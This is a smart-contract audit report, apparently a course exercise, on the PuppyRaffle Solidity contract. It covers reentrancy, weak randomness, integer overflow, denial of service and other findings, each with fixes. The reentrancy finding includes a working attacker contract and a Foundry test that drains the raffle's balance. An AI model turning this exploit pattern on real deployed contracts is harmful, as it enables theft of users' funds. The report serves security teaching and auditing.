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Additionnal findings not taught in courseMEV

## **Protocol Summary**

With this protocol, raffle to win puppy's NFTs can be organised. All raffle's entrant have to pay a fee, and at the end, this fee is split to winner and to the protocol owner.

## Disclaimer

The Clemmos Academy team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

### Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

### **Audit Details**

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

## Scope

```
./src/
#-- PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

#### Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

## **Executive Summary**

I loved auditing this codebase.

#### Issues found

Severity	Number of issues foud		
High	3		
Medium	3		
Low	1		
Gas	2		
Info	7		
Total	16		

## **Findings**

### High

[H-1]Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

**Description:** The PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interacts) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@> payable(msg.sender).sendValue(entranceFee);
    players[playerIndex] = address(0);

emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

#### **Proof of Concept:**

- 1. User enters the raffle
- 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund
- 3. Attacker enters the raffle
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

#### ▶ Code

Place the following into PuppyRaffleTest.t.sol::PuppyRaffleTest

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;
       // attack
       vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();
        console.log("starting attacker contract balance: ",
startingAttackContractBalance);
        console.log("starting contrat balance: ", startingContractBalance);
        console.log("ending attacker contract balance: ",
address(attackerContract).balance);
        console.log("ending contract balance: ", address(puppyRaffle).balance);
    }
```

#### And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
```

```
constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
   }
   function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
   }
   function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
   }
   fallback() external payable {
        _stealMoney();
   }
   receive() external payable {
        _stealMoney();
   }
}
```

**Recommended Mitigation:** To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. additionnally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+    players[playerIndex] = address(0);
+    emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);
-    players[playerIndex] = address(0);
-    emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence and predict the winning puppy

**Description:** Hashing msg.sender, block.timestamp, and block.difficulty together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionnaly means users could front-run this function and call refund if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raflle worthless if it becomes a gas war as to who wins the raffles/

#### **Proof of Concept:**

- 1. Validators can know ahead of time block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replace with prevrandao.
- 2. User can mine/manipule their msg.sender value to result in their address being used to generate the winner!
- 3. Users can revert their selectWinner Transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

**Description:** In solidity version prior to 0.8.0 integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 1844674073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees, variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### **Proof of Concept:**

- 1. We conclude a raffle of 4 players
- 2. We then have 89 players enter a new raffle, and conclude the raffle
- 3 total Fees will be

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 80000000000000000 + 17800000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees;

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

Althought you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

#### ► Code

```
function test_totalFeeOverflow() public playersEntered {
         // We finish a raffle of 4 to collect some fees
       vm.warp(block.timestamp + duration + 1);
       vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000
       // We then have 89 players enter a new raffle
       uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
       for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
       vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
       // And here is where the issue occurs
       // We will now have fewer fees even though we just finished a second
raffle
       puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);</pre>
       // We are also unable to withdraw any fees because of the require check
       vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
       puppyRaffle.withdrawFees();
   }
```

**Recommended Mitigation:** There are a few possible mitigations.

1. Use a newer version of soliidty, and a uint256 instead of uint64 for PuppyRaffle::totalFees

- 2. You could also use the SafeMathlibrary of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check from PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

#### Medium

[M-1] looping through players array to check for duplicates in PuppyRaffle::enterRAffle is a potnetial denial of service (DoS) attack, incrementing gas costs for future entrants

**Description:** The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more check a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

```
// audit DOS Attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}</pre>
```

**Impact:** The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no on else entres, guarenteeing themselves the win.

#### **Proof of Concept:**

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players : ~6252048
- 2nd 100 players: ~18058138 This is more than 3x more expensive for the second 100 players.
- ▶ PoC

Place the following test into PuppyRaffleTest.t.sol

```
function test_denialOfService() public {
    vm.txGasPrice(1);
```

```
uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
       for (uint256 i = 0; i < playersNum; i++) {</pre>
           players[i] = address(i);
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value:entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);
       // now for the 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
       for (uint256 i = 0; i < playersNum; i++) {
           playersTwo[i] = address(i + playersNum);
       }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value:entranceFee * playersTwo.length}
(playersTwo);
       uint256 gasEndSecond = gasleft();
       uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
       console.log("Gas cost of the second 100 players: ", gasUsedSecond);
   }
```

#### **Recommended Mitigation:**

There are a few recommendations

- 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of wheter a user has already entered.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
  function enterRaffle(address[] memory newPlayers) public payable {
     require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");
     for (uint256 i = 0; i < newPlayers.length; i++) {
         players.push(newPlayers[i]);
+ addressToRaffleId[newPlayers[i]] = raffleId;
     }
- // Check for duplicates</pre>
```

```
// Check for duplicates only from the new players
        for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; <math>j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
    function selectWinner() external {
        raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        . . .
    }
```

[M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

**Description:** The PuppyRaffle::withdrawFees function checks the totalFees equals the ETH balance of the contract (address(this).balance). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could selfdesctruct a contract with ETH in it and force funds to the PuppyRaffle contract, breaking this check.

```
function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

**Impact:** This would prevent the feeAddress from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawal by sending fees.

#### **Proof of Concept:**

- 1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees.
- 2. Malicious user sends 1 wei via a selfdestruct
- 3. feeAddress is no longer able to withdraw funds

**Recommended Mitigation:** Remove the balance check on the PuppyRaffle::withdrawFees function.

```
function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

**Description:** The PuppyRaffle::selectWinner function is responsible fro resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The PuppyRaffle::selectWinner function could revert many times making a lottery reset difficult.

Also, true winners would not get paid out and someone elso could take their money!

#### **Proof of Concept:**

- 1. 10 smart contracts wallets enter the lottery without a fallback or receive function.
- 2. The lottery ends
- 3. The selectWinner function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There aare a few options to mitigate this issue.

- 1. Do not allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended)

#### Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description:** If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256)
{
   for (uint256 i = 0; i < players.length; i++) {
      if (players[i] == player) {</pre>
```

```
return i;
}
}
return 0;
}
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to neter the raffle again, wasting gas.

#### **Proof of Concept:**

- 1. User enters the raffle, they are the first entrant
- 2. PuppyRaffle::getActivePlayerIndex returns 0
- 3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return a int256 where the function returns -1 if the player is not active.

#### Gas

[G-1] Unchanged state variable s should be declared contant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

#### Instances:

- PuppyRaffle::raffleDuration should be immuatable
- PuppyRaffle::commonImageUri should be constant
- PuppyRaffle::rareImageUri should be constant
- PuppyRaffle::legendaryImageUri should be constant

#### [G-2] Storage variables in a loop should be cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

#### Informationnal

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

• Found in src/PuppyRaffle.sol Line: 2

[I-2] Using an outdated version of Solidity is not recommanded

Please use a newer version like 0.8.18

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** Deploy with any of the following Solidity versions:

**0.8.18** The recommendations take into account: -Risks related to recent releases -Risks of complex code generation changes -Risks of new language features -Risks of known bugs -Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for address (0).

• Found in src/PuppyRaffle.sol Line: 62

```
feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 151

```
previousWinner = winner;
```

• Found in src/PuppyRaffle.sol Line: 170

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean an follow CEI (Checks, Effects, Interaction).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

```
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Exemples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use

```
uint256 public contant PRIZE_POOL_PERCENTAGE = 80;
uint256 public contant FEE_PERCENTAGE = 20;
uint256 public contant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] PuppyRaffle::\_isActivePlayer is never used and should be removed

# Additionnal findings not taught in course

**MEV**